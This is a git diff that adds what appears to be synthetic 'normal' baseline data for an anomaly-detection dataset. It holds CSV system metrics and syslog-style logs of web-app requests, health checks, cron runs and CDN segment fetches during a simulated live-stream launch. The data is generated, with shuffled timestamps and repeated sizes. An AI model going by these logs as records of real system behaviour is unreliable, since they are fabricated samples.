+2025-07-02T12:04:20Z,69.84,53.0,32.02,1.54,928.37,50721 +2025-07-02T12:04:25Z,65.87,56.37,32.16,1.31,849.11,49890 +2025-07-02T12:04:30Z,68.77,55.12,30.97,1.31,877.07,48806 +2025-07-02T12:04:35Z,74.07,52.55,32.74,1.74,883.04,50687 +2025-07-02T12:04:40Z,66.6,55.43,32.5,1.65,886.57,50208 +2025-07-02T12:04:45Z,74.14,57.85,34.73,1.75,889.41,49437 +2025-07-02T12:04:50Z,73.41,57.48,25.54,1.71,895.29,51004 +2025-07-02T12:04:55Z,72.42,57.29,30.48,1.77,941.23,49961 +2025-07-02T12:05:00Z,74.88,56.13,27.17,1.29,896.45,50434 +2025-07-02T12:05:05Z,71.21,52.73,29.28,1.61,845.55,50504 +2025-07-02T12:05:10Z,70.65,56.98,26.39,1.47,895.95,50680 +2025-07-02T12:05:15Z,67.57,53.64,29.57,1.39,885.51,49925 +2025-07-02T12:05:20Z,67.11,56.15,25.67,1.51,863.42,49740 +2025-07-02T12:05:25Z,74.95,55.11,25.86,1.41,884.19,50021 +2025-07-02T12:05:30Z,67.27,53.29,25.54,1.34,853.7,49168 +2025-07-02T12:05:35Z,70.26,57.45,30.61,1.46,956.02,48840 +2025-07-02T12:05:40Z,66.5,53.11,33.91,1.66,849.86,50519 +2025-07-02T12:05:45Z,74.92,52.57,25.49,1.33,851.03,49473 +2025-07-02T12:05:50Z,68.62,57.89,25.21,1.77,948.52,50171 +2025-07-02T12:05:55Z,65.93,57.51,31.72,1.78,897.09,49820 +2025-07-02T12:06:00Z,73.26,54.22,31.35,1.23,862.47,49773 +2025-07-02T12:06:05Z,74.72,52.44,33.47,1.46,918.55,50259 +2025-07-02T12:06:10Z,74.91,54.24,25.03,1.35,874.53,51454 +2025-07-02T12:06:15Z,68.17,53.07,29.21,1.34,877.75,48099 +2025-07-02T12:06:20Z,66.93,55.39,34.77,1.76,935.6,49119 +2025-07-02T12:06:25Z,70.58,52.47,25.05,1.51,908.83,49391 +2025-07-02T12:06:30Z,66.19,57.38,28.81,1.23,917.9,49700 +2025-07-02T12:06:35Z,70.11,57.46,25.03,1.58,886.62,48975 +2025-07-02T12:06:40Z,66.11,57.64,28.79,1.28,927.34,50603 +2025-07-02T12:06:45Z,71.53,52.8,34.05,1.6,858.0,50809 +2025-07-02T12:06:50Z,74.12,54.81,29.76,1.24,904.59,50920 +2025-07-02T12:06:55Z,68.78,53.88,31.42,1.42,924.87,48754 +2025-07-02T12:07:00Z,66.6,57.24,33.4,1.39,913.79,51113 +2025-07-02T12:07:05Z,67.72,57.03,33.81,1.41,893.7,49924 +2025-07-02T12:07:10Z,65.16,52.15,29.39,1.64,852.36,49440 +2025-07-02T12:07:15Z,66.69,52.5,28.11,1.51,854.5,50631 +2025-07-02T12:07:20Z,70.47,53.87,33.94,1.53,862.84,49772 +2025-07-02T12:07:25Z,66.13,56.77,34.7,1.42,909.32,50323 diff --git a/norm_dataset/scenario_7/norm_7_6.log b/norm_dataset/scenario_7/norm_7_6.log new file mode 100644 index 0000000000000000000000000000000000000000..b7470acafe59d4c73e56e2283d2be5b33de30dcd --- /dev/null +++ b/norm_dataset/scenario_7/norm_7_6.log @@ -0,0 +1,407 @@ +Jul 02 12:00:00 web-app[3456]: GET /api/v1/status status=200 OK +Jul 02 12:00:00 systemd[1]: Starting daily health check... +Jul 02 12:00:00 web-app[3456]: INFO User authentication successful for user 'admin' +Jul 02 12:00:20 web-app[3456]: GET /api/v1/status status=200 OK +Jul 02 12:00:35 systemd[1]: Starting daily health check... +Jul 02 12:00:40 web-app[3456]: GET /api/v1/status status=200 OK +Jul 02 12:00:50 web-app[3456]: INFO User authentication successful for user 'admin' +Jul 02 12:01:00 web-app[3456]: GET /api/v1/status status=200 OK +Jul 02 12:01:10 systemd[1]: Starting daily health check... +Jul 02 12:01:20 web-app[3456]: GET /api/v1/status status=200 OK +Jul 02 12:01:40 web-app[3456]: GET /api/v1/status status=200 OK +Jul 02 12:01:40 web-app[3456]: INFO User authentication successful for user 'admin' +Jul 02 12:01:45 systemd[1]: Starting daily health check... +Jul 02 12:02:00 web-app[3456]: GET /api/v1/status status=200 OK +Jul 02 12:02:20 web-app[3456]: GET /api/v1/status status=200 OK +Jul 02 12:02:20 systemd[1]: Starting daily health check... +Jul 02 12:02:30 web-app[3456]: INFO User authentication successful for user 'admin' +Jul 02 12:02:40 web-app[3456]: GET /api/v1/status status=200 OK +Jul 02 12:02:55 systemd[1]: Starting daily health check... +Jul 02 12:03:00 stream-encoder[5544]: INFO: Live stream 'product-launch-2025' has started. +Jul 02 12:03:00 stream-encoder[5544]: INFO: Preparing stream segments for 'product-launch-2025'. +Jul 02 12:03:00 web-app[3456]: INFO: Current viewers: 48,593 +Jul 02 12:03:06 cdn-access: 192.168.70.13 - - [02/Jul/2025:12:03:06 +0000] "GET /live/stream/product-launch-2025/segment1.ts HTTP/1.1" 206 987654 +Jul 02 12:03:06 cdn-access: 192.168.17.222 - - [02/Jul/2025:12:03:06 +0000] "GET /live/stream/product-launch-2025/segment2.ts HTTP/1.1" 200 987654 +Jul 02 12:03:09 cdn-access: 192.168.4.201 - - [02/Jul/2025:12:03:09 +0000] "GET /live/stream/product-launch-2025/segment3.ts HTTP/1.1" 200 987654 +Jul 02 12:03:05 cdn-access: 192.168.2.23 - - [02/Jul/2025:12:03:05 +0000] "GET /live/stream/product-launch-2025/segment4.ts HTTP/1.1" 200 987654 +Jul 02 12:03:09 cdn-access: 192.168.164.198 - - [02/Jul/2025:12:03:09 +0000] "GET /live/stream/product-launch-2025/segment5.ts HTTP/1.1" 200 987654 +Jul 02 12:03:08 cdn-access: 192.168.158.126 - - [02/Jul/2025:12:03:08 +0000] "GET /live/stream/product-launch-2025/segment6.ts HTTP/1.1" 206 987654 +Jul 02 12:03:08 cdn-access: 192.168.60.88 - - [02/Jul/2025:12:03:08 +0000] "GET /live/stream/product-launch-2025/segment7.ts HTTP/1.1" 206 987654 +Jul 02 12:03:05 cdn-access: 192.168.218.94 - - [02/Jul/2025:12:03:05 +0000] "GET /live/stream/product-launch-2025/segment8.ts HTTP/1.1" 200 987654 +Jul 02 12:03:11 cdn-access: 192.168.176.94 - - [02/Jul/2025:12:03:11 +0000] "GET /live/stream/product-launch-2025/segment9.ts HTTP/1.1" 200 987654 +Jul 02 12:03:13 cdn-access: 192.168.176.94 - - [02/Jul/2025:12:03:13 +0000] "GET /live/stream/product-launch-2025/segment10.ts HTTP/1.1" 200 987654 +Jul 02 12:03:12 cdn-access: 192.168.145.178 - - [02/Jul/2025:12:03:12 +0000] "GET /live/stream/product-launch-2025/segment11.ts HTTP/1.1" 206 987654 +Jul 02 12:03:14 cdn-access: 192.168.188.111 - - [02/Jul/2025:12:03:14 +0000] "GET /live/stream/product-launch-2025/segment12.ts HTTP/1.1" 206 987654 +Jul 02 12:03:14 cdn-access: 192.168.2.23 - - [02/Jul/2025:12:03:14 +0000] "GET /live/stream/product-launch-2025/segment13.ts HTTP/1.1" 200 987654 +Jul 02 12:03:18 cdn-access: 192.168.182.103 - - [02/Jul/2025:12:03:18 +0000] "GET /live/stream/product-launch-2025/segment14.ts HTTP/1.1" 200 987654 +Jul 02 12:03:15 cdn-access: 192.168.79.21 - - [02/Jul/2025:12:03:15 +0000] "GET /live/stream/product-launch-2025/segment15.ts HTTP/1.1" 206 987654 +Jul 02 12:03:15 cdn-access: 192.168.17.222 - - [02/Jul/2025:12:03:15 +0000] "GET /live/stream/product-launch-2025/segment16.ts HTTP/1.1" 200 987654 +Jul 02 12:03:18 cdn-access: 192.168.158.126 - - [02/Jul/2025:12:03:18 +0000] "GET /live/stream/product-launch-2025/segment17.ts HTTP/1.1" 200 987654 +Jul 02 12:03:19 cdn-access: 192.168.143.149 - - [02/Jul/2025:12:03:19 +0000] "GET /live/stream/product-launch-2025/segment18.ts HTTP/1.1" 200 987654 +Jul 02 12:03:15 cdn-access: 192.168.188.111 - - [02/Jul/2025:12:03:15 +0000] "GET /live/stream/product-launch-2025/segment19.ts HTTP/1.1" 200 987654 +Jul 02 12:03:15 cdn-access: 192.168.218.94 - - [02/Jul/2025:12:03:15 +0000] "GET /live/stream/product-launch-2025/segment20.ts HTTP/1.1" 206 987654 +Jul 02 12:03:17 cdn-access: 192.168.47.121 - - [02/Jul/2025:12:03:17 +0000] "GET /live/stream/product-launch-2025/segment21.ts HTTP/1.1" 206 987654 +Jul 02 12:03:19 cdn-access: 192.168.17.218 - - [02/Jul/2025:12:03:19 +0000] "GET /live/stream/product-launch-2025/segment22.ts HTTP/1.1" 206 987654 +Jul 02 12:03:20 web-app[3456]: INFO: Current viewers: 50058 +Jul 02 12:03:20 cdn-access: 192.168.158.126 - - [02/Jul/2025:12:03:20 +0000] "GET /live/stream/product-launch-2025/segment23.ts HTTP/1.1" 200 987654 +Jul 02 12:03:22 cdn-access: 192.168.145.178 - - [02/Jul/2025:12:03:22 +0000] "GET /live/stream/product-launch-2025/segment24.ts HTTP/1.1" 206 987654 +Jul 02 12:03:22 cdn-access: 192.168.176.94 - - [02/Jul/2025:12:03:22 +0000] "GET /live/stream/product-launch-2025/segment25.ts HTTP/1.1" 200 987654 +Jul 02 12:03:24 cdn-access: 192.168.70.13 - - [02/Jul/2025:12:03:24 +0000] "GET /live/stream/product-launch-2025/segment26.ts HTTP/1.1" 200 987654 +Jul 02 12:03:22 cdn-access: 192.168.17.222 - - [02/Jul/2025:12:03:22 +0000] "GET /live/stream/product-launch-2025/segment27.ts HTTP/1.1" 206 987654 +Jul 02 12:03:23 cdn-access: 192.168.188.111 - - [02/Jul/2025:12:03:23 +0000] "GET /live/stream/product-launch-2025/segment28.ts HTTP/1.1" 206 987654 +Jul 02 12:03:23 cdn-access: 192.168.218.94 - - [02/Jul/2025:12:03:23 +0000] "GET /live/stream/product-launch-2025/segment29.ts HTTP/1.1" 206 987654 +Jul 02 12:03:29 cdn-access: 192.168.145.178 - - [02/Jul/2025:12:03:29 +0000] "GET /live/stream/product-launch-2025/segment30.ts HTTP/1.1" 200 987654 +Jul 02 12:03:28 cdn-access: 192.168.143.149 - - [02/Jul/2025:12:03:28 +0000] "GET /live/stream/product-launch-2025/segment31.ts HTTP/1.1" 200 987654 +Jul 02 12:03:29 cdn-access: 192.168.188.111 - - [02/Jul/2025:12:03:29 +0000] "GET /live/stream/product-launch-2025/segment32.ts HTTP/1.1" 200 987654 +Jul 02 12:03:26 cdn-access: 192.168.2.23 - - [02/Jul/2025:12:03:26 +0000] "GET /live/stream/product-launch-2025/segment33.ts HTTP/1.1" 206 987654 +Jul 02 12:03:25 cdn-access: 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192.168.143.149 - - [02/Jul/2025:12:07:17 +0000] "GET /live/stream/product-launch-2025/segment365.ts HTTP/1.1" 206 987654 +Jul 02 12:07:15 cdn-access: 192.168.70.13 - - [02/Jul/2025:12:07:15 +0000] "GET /live/stream/product-launch-2025/segment366.ts HTTP/1.1" 200 987654 +Jul 02 12:07:24 cdn-access: 192.168.176.94 - - [02/Jul/2025:12:07:24 +0000] "GET /live/stream/product-launch-2025/segment367.ts HTTP/1.1" 200 987654 +Jul 02 12:07:20 cdn-access: 192.168.47.121 - - [02/Jul/2025:12:07:20 +0000] "GET /live/stream/product-launch-2025/segment368.ts HTTP/1.1" 200 987654 +Jul 02 12:07:20 cdn-access: 192.168.12.83 - - [02/Jul/2025:12:07:20 +0000] "GET /live/stream/product-launch-2025/segment369.ts HTTP/1.1" 206 987654 +Jul 02 12:07:21 cdn-access: 192.168.53.89 - - [02/Jul/2025:12:07:21 +0000] "GET /live/stream/product-launch-2025/segment370.ts HTTP/1.1" 206 987654 +Jul 02 12:07:21 cdn-access: 192.168.182.103 - - [02/Jul/2025:12:07:21 +0000] "GET /live/stream/product-launch-2025/segment371.ts HTTP/1.1" 200 987654 +Jul 02 12:07:20 cdn-access: 192.168.218.94 - - [02/Jul/2025:12:07:20 +0000] "GET /live/stream/product-launch-2025/segment372.ts HTTP/1.1" 206 987654 +Jul 02 12:07:20 cdn-access: 192.168.71.21 - - [02/Jul/2025:12:07:20 +0000] "GET /live/stream/product-launch-2025/segment373.ts HTTP/1.1" 200 987654 +Jul 02 12:07:24 cdn-access: 192.168.145.178 - - [02/Jul/2025:12:07:24 +0000] "GET /live/stream/product-launch-2025/segment374.ts HTTP/1.1" 200 987654 +Jul 02 12:07:22 cdn-access: 192.168.12.83 - - [02/Jul/2025:12:07:22 +0000] "GET /live/stream/product-launch-2025/segment375.ts HTTP/1.1" 206 987654 +Jul 02 12:07:25 cdn-access: 192.168.53.89 - - [02/Jul/2025:12:07:25 +0000] "GET /live/stream/product-launch-2025/segment376.ts HTTP/1.1" 200 987654 +Jul 02 12:07:28 cdn-access: 192.168.53.89 - - [02/Jul/2025:12:07:28 +0000] "GET /live/stream/product-launch-2025/segment377.ts HTTP/1.1" 206 987654 +Jul 02 12:07:25 cdn-access: 192.168.188.111 - - [02/Jul/2025:12:07:25 +0000] "GET /live/stream/product-launch-2025/segment378.ts HTTP/1.1" 200 987654 +Jul 02 12:07:28 cdn-access: 192.168.188.111 - - [02/Jul/2025:12:07:28 +0000] "GET /live/stream/product-launch-2025/segment379.ts HTTP/1.1" 206 987654 +Jul 02 12:07:28 cdn-access: 192.168.4.201 - - [02/Jul/2025:12:07:28 +0000] "GET /live/stream/product-launch-2025/segment380.ts HTTP/1.1" 200 987654 +Jul 02 12:07:27 cdn-access: 192.168.71.21 - - [02/Jul/2025:12:07:27 +0000] "GET /live/stream/product-launch-2025/segment381.ts HTTP/1.1" 206 987654 +Jul 02 12:07:25 cdn-access: 192.168.47.121 - - [02/Jul/2025:12:07:25 +0000] "GET /live/stream/product-launch-2025/segment382.ts HTTP/1.1" 200 987654 diff --git a/norm_dataset/scenario_7/norm_7_7.csv b/norm_dataset/scenario_7/norm_7_7.csv new file mode 100644 index 0000000000000000000000000000000000000000..13eff1520a150acf4e1d40db8bd83be0824940db --- /dev/null +++ b/norm_dataset/scenario_7/norm_7_7.csv @@ -0,0 +1,91 @@ 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+2025-07-02T12:07:15Z,84.4715680305575,50.70852411181694,9.740484428274172,7.439097135282346,157.81852787047498,48295 +2025-07-02T12:07:20Z,72.22419766382066,51.980018121154,11.716382914764289,8.652141226979072,162.16959073380298,49824 +2025-07-02T12:07:25Z,79.18135461476201,52.330263350189,9.794179219795836,7.775727162392732,158.8895700262572,49924 diff --git a/norm_dataset/scenario_7/norm_7_7.log b/norm_dataset/scenario_7/norm_7_7.log new file mode 100644 index 0000000000000000000000000000000000000000..22ebe558c41d952f63a34ed530356bfa52c0c692 --- /dev/null +++ b/norm_dataset/scenario_7/norm_7_7.log @@ -0,0 +1,81 @@ +Jul 02 12:00:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:05 web-app[1234]: GET /api/v1/user/15 status=200 OK +Jul 02 12:00:10 web-app[1234]: GET /api/v1/user/19 status=200 OK +Jul 02 12:00:15 web-app[1234]: GET /api/v1/user/10 status=200 OK +Jul 02 12:00:20 web-app[1234]: GET /api/v1/user/10 status=200 OK +Jul 02 12:00:25 CRON[600]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:00:30 web-app[1234]: GET /api/v1/user/15 status=200 OK +Jul 02 12:00:35 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:40 web-app[1234]: GET /api/v1/user/14 status=200 OK +Jul 02 12:00:45 web-app[1234]: GET /api/v1/user/11 status=200 OK +Jul 02 12:00:50 CRON[1100]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:00:55 web-app[1234]: GET /api/v1/user/15 status=200 OK +Jul 02 12:01:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:01:05 web-app[1234]: GET /api/v1/user/15 status=200 OK +Jul 02 12:01:10 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:15 CRON[1600]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:01:20 web-app[1234]: GET /api/v1/user/18 status=200 OK +Jul 02 12:01:25 web-app[1234]: GET /api/v1/user/14 status=200 OK +Jul 02 12:01:30 web-app[1234]: GET /api/v1/user/18 status=200 OK +Jul 02 12:01:35 web-app[1234]: GET /api/v1/user/18 status=200 OK +Jul 02 12:01:40 CRON[2100]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:01:45 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:50 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:01:55 web-app[1234]: GET /api/v1/user/10 status=200 OK +Jul 02 12:02:00 web-app[1234]: GET /api/v1/user/16 status=200 OK +Jul 02 12:02:05 CRON[2600]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:02:10 web-app[1234]: GET /api/v1/user/14 status=200 OK +Jul 02 12:02:15 web-app[1234]: GET /api/v1/user/16 status=200 OK +Jul 02 12:02:20 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:25 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:02:30 cdn-access[5678]: 198.51.100.164 GET /streams/product-launch-2025/segment1.ts HTTP/1.1 206 +Jul 02 12:02:30 web-app[1234]: INFO: Live stream 'product-launch-2025' has started. +Jul 02 12:02:31 cdn-access[5678]: 198.51.100.120 GET /streams/product-launch-2025/segment3.ts HTTP/1.1 206 +Jul 02 12:02:32 cdn-access[5678]: 198.51.100.64 GET /streams/product-launch-2025/segment2.ts HTTP/1.1 200 +Jul 02 12:02:32 web-app[1234]: INFO: Current viewers: 50000. +Jul 02 12:02:33 cdn-access[5678]: 198.51.100.245 GET /streams/product-launch-2025/segment1.ts HTTP/1.1 206 +Jul 02 12:02:34 cdn-access[5678]: 198.51.100.46 GET /streams/product-launch-2025/segment2.ts HTTP/1.1 200 +Jul 02 12:02:35 cdn-access[5678]: 198.51.100.172 GET /streams/product-launch-2025/segment2.ts HTTP/1.1 200 +Jul 02 12:02:35 cdn-access[5678]: 203.0.113.38 GET /streams/product-launch-2025/segment34.ts HTTP/1.1 206 +Jul 02 12:02:36 cdn-access[5678]: 198.51.100.188 GET /streams/product-launch-2025/segment4.ts HTTP/1.1 200 +Jul 02 12:02:37 cdn-access[5678]: 198.51.100.115 GET /streams/product-launch-2025/segment1.ts HTTP/1.1 206 +Jul 02 12:02:38 cdn-access[5678]: 198.51.100.119 GET /streams/product-launch-2025/segment1.ts HTTP/1.1 200 +Jul 02 12:02:39 cdn-access[5678]: 198.51.100.102 GET /streams/product-launch-2025/segment4.ts HTTP/1.1 206 +Jul 02 12:02:40 cdn-access[5678]: 198.51.100.175 GET /streams/product-launch-2025/segment4.ts HTTP/1.1 206 +Jul 02 12:02:40 cdn-access[5678]: 203.0.113.156 GET /streams/product-launch-2025/segment42.ts HTTP/1.1 206 +Jul 02 12:02:41 cdn-access[5678]: 198.51.100.50 GET /streams/product-launch-2025/segment1.ts HTTP/1.1 206 +Jul 02 12:02:42 cdn-access[5678]: 198.51.100.55 GET /streams/product-launch-2025/segment1.ts HTTP/1.1 200 +Jul 02 12:02:43 cdn-access[5678]: 198.51.100.120 GET /streams/product-launch-2025/segment2.ts HTTP/1.1 200 +Jul 02 12:02:44 cdn-access[5678]: 198.51.100.184 GET /streams/product-launch-2025/segment3.ts HTTP/1.1 200 +Jul 02 12:02:55 cdn-access[5678]: 203.0.113.179 GET /streams/product-launch-2025/segment41.ts HTTP/1.1 206 +Jul 02 12:03:00 cdn-access[5678]: 203.0.113.61 GET /streams/product-launch-2025/segment40.ts HTTP/1.1 206 +Jul 02 12:03:05 cdn-access[5678]: 203.0.113.11 GET /streams/product-launch-2025/segment38.ts HTTP/1.1 206 +Jul 02 12:03:15 cdn-access[5678]: 203.0.113.59 GET /streams/product-launch-2025/segment22.ts HTTP/1.1 200 +Jul 02 12:03:25 cdn-access[5678]: 203.0.113.228 GET /streams/product-launch-2025/segment15.ts HTTP/1.1 200 +Jul 02 12:03:30 cdn-access[5678]: 203.0.113.11 GET /streams/product-launch-2025/segment16.ts HTTP/1.1 206 +Jul 02 12:03:40 cdn-access[5678]: 203.0.113.110 GET /streams/product-launch-2025/segment37.ts HTTP/1.1 206 +Jul 02 12:03:50 cdn-access[5678]: 203.0.113.193 GET /streams/product-launch-2025/segment31.ts HTTP/1.1 206 +Jul 02 12:03:55 cdn-access[5678]: 203.0.113.189 GET /streams/product-launch-2025/segment20.ts HTTP/1.1 200 +Jul 02 12:04:00 cdn-access[5678]: 203.0.113.67 GET /streams/product-launch-2025/segment10.ts HTTP/1.1 206 +Jul 02 12:04:05 cdn-access[5678]: 203.0.113.173 GET /streams/product-launch-2025/segment46.ts HTTP/1.1 206 +Jul 02 12:04:10 cdn-access[5678]: 203.0.113.25 GET /streams/product-launch-2025/segment6.ts HTTP/1.1 206 +Jul 02 12:04:15 cdn-access[5678]: 203.0.113.200 GET /streams/product-launch-2025/segment6.ts HTTP/1.1 206 +Jul 02 12:04:25 cdn-access[5678]: 203.0.113.75 GET /streams/product-launch-2025/segment28.ts HTTP/1.1 206 +Jul 02 12:04:40 cdn-access[5678]: 203.0.113.197 GET /streams/product-launch-2025/segment7.ts HTTP/1.1 206 +Jul 02 12:04:55 cdn-access[5678]: 203.0.113.46 GET /streams/product-launch-2025/segment49.ts HTTP/1.1 200 +Jul 02 12:05:10 cdn-access[5678]: 203.0.113.99 GET /streams/product-launch-2025/segment6.ts HTTP/1.1 206 +Jul 02 12:05:20 cdn-access[5678]: 203.0.113.84 GET /streams/product-launch-2025/segment13.ts HTTP/1.1 206 +Jul 02 12:05:30 cdn-access[5678]: 203.0.113.26 GET /streams/product-launch-2025/segment17.ts HTTP/1.1 206 +Jul 02 12:05:45 cdn-access[5678]: 203.0.113.225 GET /streams/product-launch-2025/segment21.ts HTTP/1.1 206 +Jul 02 12:06:00 cdn-access[5678]: 203.0.113.164 GET /streams/product-launch-2025/segment11.ts HTTP/1.1 206 +Jul 02 12:06:10 cdn-access[5678]: 203.0.113.113 GET /streams/product-launch-2025/segment45.ts HTTP/1.1 206 +Jul 02 12:06:15 cdn-access[5678]: 203.0.113.110 GET /streams/product-launch-2025/segment13.ts HTTP/1.1 206 +Jul 02 12:06:15 kubelet[2345]: INFO Liveness probe succeeded for pod cdn-server +Jul 02 12:06:20 cdn-access[5678]: 203.0.113.179 GET /streams/product-launch-2025/segment19.ts HTTP/1.1 200 +Jul 02 12:06:25 cdn-access[5678]: 203.0.113.205 GET /streams/product-launch-2025/segment24.ts HTTP/1.1 206 +Jul 02 12:06:30 cdn-access[5678]: 203.0.113.34 GET /streams/product-launch-2025/segment20.ts HTTP/1.1 206 +Jul 02 12:06:45 cdn-access[5678]: 203.0.113.218 GET /streams/product-launch-2025/segment25.ts HTTP/1.1 200 +Jul 02 12:06:50 cdn-access[5678]: 203.0.113.49 GET /streams/product-launch-2025/segment34.ts HTTP/1.1 206 +Jul 02 12:07:00 cdn-access[5678]: 203.0.113.138 GET /streams/product-launch-2025/segment34.ts HTTP/1.1 206 +Jul 02 12:07:15 cdn-access[5678]: 203.0.113.97 GET /streams/product-launch-2025/segment16.ts HTTP/1.1 200 +Jul 02 12:07:20 cdn-access[5678]: 203.0.113.138 GET /streams/product-launch-2025/segment48.ts HTTP/1.1 206 diff --git a/norm_dataset/scenario_7/norm_7_8.csv b/norm_dataset/scenario_7/norm_7_8.csv new file mode 100644 index 0000000000000000000000000000000000000000..0e5409492200fd1db013a74b1c5d198b8dae7a53 --- /dev/null +++ b/norm_dataset/scenario_7/norm_7_8.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out,connections +2025-08-19T17:00:00Z,16.076764050910704,48.82537050912373,36.37373573843141,1.6575924113507663,3.0037421705690424,81.10604129293333 +2025-08-19T17:00:05Z,13.375288963826167,46.47786766917397,25.715635989863443,1.7884825982867312,3.097373034509479,85.15564991094334 +2025-08-19T17:00:10Z,12.748039558811847,47.60694341568302,28.53330435695632,1.6573325910791685,2.880740530901036,63.07393382163164 +2025-08-19T17:00:15Z,15.706232899128254,49.749575803357054,29.163912461880486,1.3562490726938108,2.6555391233549672,75.79416986457771 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OK +Aug 19 17:00:50 cdn-access[954]: 192.168.1.10 - - [19/Aug/2025:17:00:50 ] "GET /images/logo.png HTTP/1.1" 200 12345 +Aug 19 17:01:00 web-app[2233]: GET /api/v1/user/profile status=200 OK +Aug 19 17:01:10 systemd[1]: Starting daily clean up activities... +Aug 19 17:01:20 web-app[2233]: GET /api/v1/user/profile status=200 OK +Aug 19 17:01:40 web-app[2233]: GET /api/v1/user/profile status=200 OK +Aug 19 17:01:40 cdn-access[954]: 192.168.1.10 - - [19/Aug/2025:17:01:40 ] "GET /images/logo.png HTTP/1.1" 200 12345 +Aug 19 17:01:45 systemd[1]: Starting daily clean up activities... +Aug 19 17:02:00 web-app[2233]: GET /api/v1/user/profile status=200 OK +Aug 19 17:02:20 web-app[2233]: GET /api/v1/user/profile status=200 OK +Aug 19 17:02:20 systemd[1]: Starting daily clean up activities... +Aug 19 17:02:30 web-app[2233]: INFO: Live stream 'product-launch-2025' has started. +Aug 19 17:02:30 cdn-access[954]: 10.0.150.60 - - [19/Aug/2025:17:02:30 ] "GET /live/stream/product-launch-2025/segment1156.ts HTTP/1.1" 200 987654 +Aug 19 17:02:30 cdn-access[954]: 10.0.195.131 - - [19/Aug/2025:17:02:30 ] "GET /live/stream/product-launch-2025/segment1494.ts HTTP/1.1" 200 987654 +Aug 19 17:02:30 cdn-access[954]: 10.0.201.213 - - [19/Aug/2025:17:02:30 ] "GET /live/stream/product-launch-2025/segment1175.ts HTTP/1.1" 206 987654 +Aug 19 17:02:30 cdn-access[954]: 10.0.235.110 - - [19/Aug/2025:17:02:30 ] "GET /live/stream/product-launch-2025/segment1074.ts HTTP/1.1" 206 987654 +Aug 19 17:02:30 cdn-access[954]: 10.0.25.163 - - [19/Aug/2025:17:02:30 ] "GET /live/stream/product-launch-2025/segment1116.ts HTTP/1.1" 206 987654 +Aug 19 17:02:30 cdn-access[954]: 10.0.235.111 - - [19/Aug/2025:17:02:30 ] "GET /live/stream/product-launch-2025/segment1443.ts HTTP/1.1" 206 987654 +Aug 19 17:02:30 cdn-access[954]: 10.0.246.65 - - [19/Aug/2025:17:02:30 ] "GET /live/stream/product-launch-2025/segment1280.ts HTTP/1.1" 200 987654 +Aug 19 17:02:30 kubelet[1122]: INFO Liveness probe succeeded for pod web-app-xyz +Aug 19 17:02:31 web-app[2233]: INFO: Current viewers: 50000. +Aug 19 17:02:31 cdn-access[954]: 10.0.197.194 - - [19/Aug/2025:17:02:31 ] "GET /live/stream/product-launch-2025/segment1425.ts HTTP/1.1" 200 987654 +Aug 19 17:02:31 cdn-access[954]: 10.0.251.160 - - [19/Aug/2025:17:02:31 ] "GET /live/stream/product-launch-2025/segment1395.ts HTTP/1.1" 206 987654 +Aug 19 17:02:31 cdn-access[954]: 10.0.158.213 - - [19/Aug/2025:17:02:31 ] "GET /live/stream/product-launch-2025/segment1100.ts HTTP/1.1" 206 987654 +Aug 19 17:02:31 cdn-access[954]: 10.0.244.26 - - [19/Aug/2025:17:02:31 ] "GET /live/stream/product-launch-2025/segment1266.ts HTTP/1.1" 206 987654 +Aug 19 17:02:31 cdn-access[954]: 10.0.173.127 - - [19/Aug/2025:17:02:31 ] "GET /live/stream/product-launch-2025/segment1390.ts HTTP/1.1" 206 987654 +Aug 19 17:02:32 cdn-access[954]: 10.0.224.40 - - [19/Aug/2025:17:02:32 ] "GET /live/stream/product-launch-2025/segment1379.ts HTTP/1.1" 206 987654 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10.0.42.136 - - [19/Aug/2025:17:02:36 ] "GET /live/stream/product-launch-2025/segment1292.ts HTTP/1.1" 200 987654 +Aug 19 17:02:37 cdn-access[954]: 10.0.27.169 - - [19/Aug/2025:17:02:37 ] "GET /live/stream/product-launch-2025/segment1045.ts HTTP/1.1" 200 987654 +Aug 19 17:02:37 cdn-access[954]: 10.0.30.127 - - [19/Aug/2025:17:02:37 ] "GET /live/stream/product-launch-2025/segment1195.ts HTTP/1.1" 200 987654 +Aug 19 17:02:38 cdn-access[954]: 10.0.134.108 - - [19/Aug/2025:17:02:38 ] "GET /live/stream/product-launch-2025/segment1422.ts HTTP/1.1" 206 987654 +Aug 19 17:02:38 cdn-access[954]: 10.0.234.102 - - [19/Aug/2025:17:02:38 ] "GET /live/stream/product-launch-2025/segment1174.ts HTTP/1.1" 206 987654 +Aug 19 17:02:38 cdn-access[954]: 10.0.52.188 - - [19/Aug/2025:17:02:38 ] "GET /live/stream/product-launch-2025/segment1159.ts HTTP/1.1" 200 987654 +Aug 19 17:02:38 cdn-access[954]: 10.0.234.145 - - [19/Aug/2025:17:02:38 ] "GET /live/stream/product-launch-2025/segment1373.ts HTTP/1.1" 206 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10.0.46.19 - - [19/Aug/2025:17:07:28 ] "GET /live/stream/product-launch-2025/segment1224.ts HTTP/1.1" 206 987654 +Aug 19 17:07:28 cdn-access[954]: 10.0.213.18 - - [19/Aug/2025:17:07:28 ] "GET /live/stream/product-launch-2025/segment1027.ts HTTP/1.1" 200 987654 +Aug 19 17:07:28 cdn-access[954]: 10.0.145.146 - - [19/Aug/2025:17:07:28 ] "GET /live/stream/product-launch-2025/segment1034.ts HTTP/1.1" 206 987654 +Aug 19 17:07:28 cdn-access[954]: 10.0.11.87 - - [19/Aug/2025:17:07:28 ] "GET /live/stream/product-launch-2025/segment1409.ts HTTP/1.1" 200 987654 +Aug 19 17:07:28 cdn-access[954]: 10.0.115.147 - - [19/Aug/2025:17:07:28 ] "GET /live/stream/product-launch-2025/segment1078.ts HTTP/1.1" 200 987654 +Aug 19 17:07:28 cdn-access[954]: 10.0.56.76 - - [19/Aug/2025:17:07:28 ] "GET 